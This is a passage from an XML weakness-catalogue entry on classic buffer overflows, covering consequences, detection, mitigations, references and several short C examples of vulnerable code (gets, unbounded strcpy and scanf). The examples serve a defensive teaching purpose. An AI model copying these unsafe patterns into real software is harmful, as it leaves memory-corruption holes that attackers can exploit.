			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Assembly"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>buffer overrun</Term>
					          <Alternate_Term_Description>
						            <Text>Some prominent vendors and researchers use the term "buffer overrun,"
							but most people use "buffer overflow."</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Unbounded Transfer</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Many issues that are now called "buffer overflows" are substantively
						different than the "classic" overflow, including entirely different bug
						types that rely on overflow exploit techniques, such as integer signedness
						errors, integer overflows, and format string bugs. This imprecise
						terminology can make it difficult to determine which variant is being
						reported.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows often can be used to execute arbitrary code, which is
							usually outside the scope of a program's implicit security policy. This
							can often be used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows generally lead to crashes. Other attacks leading to
							lack of availability are possible, including putting the program into an
							infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis generally does not account for environmental
							considerations when reporting out-of-bounds memory operations. This can
							make it difficult for users to determine which warnings should be
							investigated first. For example, an analysis tool might report buffer
							overflows that originate from command line arguments in a program that
							is not expected to run with setuid or other special privileges.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>Detection techniques for buffer-related errors are more mature than
							for most other weakness types.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-9">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual analysis can be useful for finding this weakness, but it might
							not achieve desired code coverage within limited time constraints. This
							becomes difficult for weaknesses that must be considered for all inputs,
							since the attack surface can be too large.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, many languages that perform their own memory management,
							such as Java and Perl, are not subject to buffer overflows. Other
							languages, such as Ada and C#, typically provide overflow protection,
							but the protection can be disabled by the programmer.</Text>
						            <Text>Be wary that a language's interface to native code may still be
							subject to overflows, even if the language itself is theoretically safe.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Examples include the Safe C String Library (SafeStr) by Messier and
							Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3].
							These libraries provide safer versions of overflow-prone string-handling
							functions.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since many buffer overflows are not
							related to strings.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-9">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider adhering to the following rules when allocating and managing
							an application's memory:</Text>
						            <Block Block_Nature="List">
							              <Text>Double check that your buffer is as large as you specify.</Text>
							              <Text>When using functions that accept a number of bytes to copy, such
								as strncpy(), be aware that if the destination buffer size is equal
								to the source buffer size, it may not NULL-terminate the
								string.</Text>
							              <Text>Check buffer boundaries if accessing the buffer in a loop and make
								sure you are not in danger of writing past the allocated
								space.</Text>
							              <Text>If necessary, truncate all input strings to a reasonable length
								before passing them to the copy and concatenation functions.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-11">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a feature like Address Space Layout Randomization (ASLR) [R.120.5]
							[R.120.7].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution. However, it forces the attacker to
							guess an unknown value that changes every program execution. In
							addition, an attack could still cause a denial of service, since the
							typical response is to exit the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-12">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a CPU and operating system that offers Data Execution Protection
							(NX) or its equivalent [R.120.7] [R.120.9].</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not a complete solution, since buffer overflows could be used
							to overwrite nearby variables to modify the software's state in
							dangerous ways. In addition, it cannot be used in cases in which
							self-modifying code is required. Finally, an attack could still cause a
							denial of service, since the typical response is to exit the
							application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Most mitigating technologies at the compiler or OS level to date
							address only a subset of buffer overflow problems and rarely provide
							complete protection against even that subset. It is good practice to
							implement strategies to increase the workload of an attacker, such as
							leaving the attacker to guess an unknown value that changes every
							program execution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-13">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Replace unbounded copy functions with analogous functions that support
							length arguments, such as strcpy with strncpy. Create these if they are
							not available.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This approach is still susceptible to calculation errors, including
							issues such as off-by-one errors (CWE-193) and incorrectly calculating
							buffer lengths (CWE-131).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.120.10]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code asks the user to enter their last name and then
						attempts to store the value entered in the last_name array. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char last_name[20];</Code>
							              <Code>printf ("Enter your last name: ");</Code>
							              <Code>scanf ("%s", last_name);</Code>
						            </Block>
						            <Text>The problem with the code above is that it does not restrict or limit
							the size of the name entered by the user. If the user enters
							"Very_very_long_last_name" which is 24 characters long, then a buffer
							overflow will occur since the array can only hold 20 characters total.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-6">
					          <Intro_Text>The following code attempts to create a local copy of a buffer to
						perform some manipulations to the data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void manipulate_string(char* string){</Code>
							              <Block>
								                <Code>char buf[24];</Code>
								                <Code>strcpy(buf, string);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the programmer does not ensure that the size of the data
							pointed to by string will fit in the local buffer and blindly copies the
							data with the potentially dangerous strcpy() function. This may result
							in a buffer overflow condition if an attacker can influence the contents
							of the string parameter.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-5">
					          <Intro_Text>The excerpt below calls the gets() function in C, which is
						inherently unsafe.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Block>
								                <Code>char buf[24];</Code>
								                <Code>printf("Please enter your name and press
									&lt;Enter&gt;\n");</Code>
								                <Code>gets(buf);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the programmer uses the function gets() which is inherently
							unsafe because it blindly copies all input from STDIN to the buffer
							without restricting how much is copied. This allows the user to provide
							a string that is larger than the buffer size, resulting in an overflow
							condition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a server accepts connections from a client
						and processes the client request. After accepting a client connection, the
						program will obtain client information using the gethostbyaddr method, copy
						the hostname of the client that connected to a local variable and output the
						hostname of the client to a log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
							              <Block>
								                <Code>struct hostent *clienthp;</Code>
								                <Code>char hostname[MAX_LEN];</Code>
								                <Code/>
								                <Code>// create server socket, bind to server address and listen on
									socket</Code>
								                <Code>...</Code>
								                <Code/>
								                <Code>// accept client connections and process requests</Code>
								                <Code>int count = 0;</Code>
								                <Code>for (count = 0; count &lt; MAX_CONNECTIONS; count++)
									{</Code>
								                <Block>
									                  <Code/>
									                  <Code>int clientlen = sizeof(struct sockaddr_in);</Code>
									                  <Code>int clientsocket = accept(serversocket, (struct sockaddr
										*)&amp;clientaddr, &amp;clientlen);</Code>
									                  <Code/>
									                  <Code>if (clientsocket &gt;= 0) {</Code>
									                  <Block>
										                    <Code>clienthp = gethostbyaddr((char*)
											&amp;clientaddr.sin_addr.s_addr,
											sizeof(clientaddr.sin_addr.s_addr), AF_INET);</Code>
										                    <Code>strcpy(hostname, clienthp-&gt;h_name);</Code>
										                    <Code>logOutput("Accepted client connection from host ",
											hostname);</Code>
										                    <Code/>
										                    <Code>// process client request</Code>
										                    <Code>...</Code>
										                    <Code>close(clientsocket);</Code>
									                  </Block>
									                  <Code> }</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>close(serversocket);</Code>
							              </Block>
							              <Code>...</Code>
						            </Block>
						            <Text>However, the hostname of the client that connected may be longer than
							the allocated size for the local hostname variable. This will result in
							a buffer overflow when copying the client hostname to the local variable
							using the strcpy method.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1094</Observed_Example_Reference>
					          <Observed_Example_Description>buffer overflow using command with long
						argument</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0046</Observed_Example_Reference>
					          <Observed_Example_Description>buffer overflow in local program using long
						environment variable</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1337</Observed_Example_Reference>
					          <Observed_Example_Description>buffer overflow in comment characters, when
						product increments a counter for a "&gt;" but does not decrement for
						"&lt;"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0595</Observed_Example_Reference>
					          <Observed_Example_Description>By replacing a valid cookie value with an
						extremely long string of characters, an attacker may overflow the
						application's buffers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0191</Observed_Example_Reference>
					          <Observed_Example_Description>By replacing a valid cookie value with an
						extremely long string of characters, an attacker may overflow the
						application's buffers.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Memory Management</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.120.1">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Public Enemy #1: The Buffer Overrun" Page
						127</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.120.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-27" Local_Reference_ID="R.120.3">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Using the Strsafe.h Functions</Reference_Title>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms647466.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-26" Local_Reference_ID="R.120.4">
					          <Reference_Author>Matt Messier</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>Safe C String Library v1.0.3</Reference_Title>
					          <Reference_Link>http://www.zork.org/safestr/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-22" Local_Reference_ID="R.120.5">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Address Space Layout Randomization in Windows
						Vista</Reference_Title>
					          <Reference_Link>http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.120.6">
					          <Reference_Author>Arjan van de Ven</Reference_Author>
					          <Reference_Title>Limiting buffer overflows with ExecShield</Reference_Title>
					          <Reference_Link>http://www.redhat.com/magazine/009jul05/features/execshield/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-29" Local_Reference_ID="R.120.7">
					          <Reference_Title>PaX</Reference_Title>
					          <Reference_Link>http://en.wikipedia.org/wiki/PaX</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.120.8">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 3 - Classic Buffer
						Overflow</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-02</Reference_Date>
					          <Reference_Link>http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-25" Local_Reference_ID="R.120.9">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>Understanding DEP as a mitigation technology part
						1</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.120.10">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.120.11">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Nonexecutable Stack", Page
						76.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.120.12">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Protection Mechanisms", Page
						189.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.120.13">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "C String Handling", Page 388.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unbounded Transfer ('classic overflow')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Buffer Overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Buffer overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Buffer Overflows</Mapped_Node_Name>
					          <Mapped_Node_ID>A5</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not copy data from an unbounded source to a fixed-length
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>STR35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Buffer Overflow </Mapped_Node_Name>
					          <Mapped_Node_ID>7</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not copy data from an unbounded source to a fixed-length
						array</Mapped_Node_Name>
					          <Mapped_Node_ID>STR35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path includes a Buffer Write Operation such
						that:</Text>
					          <Block>
						            <Text>1. the expected size of the buffer is greater than the actual size of
							the buffer where expected size is equal to the sum of the size of the
							data item and the position in the buffer</Text>
					          </Block>
					          <Text>Where Buffer Write Operation is a statement that writes a data item of a
						certain size into a buffer at a certain position and at a certain
						index</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>24</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>42</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>44</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>46</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>47</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>67</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>8</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>9</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-10</Modification_Date>
					          <Modification_Comment>Changed name and description to more clearly emphasize the
						"classic" nature of the overflow.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
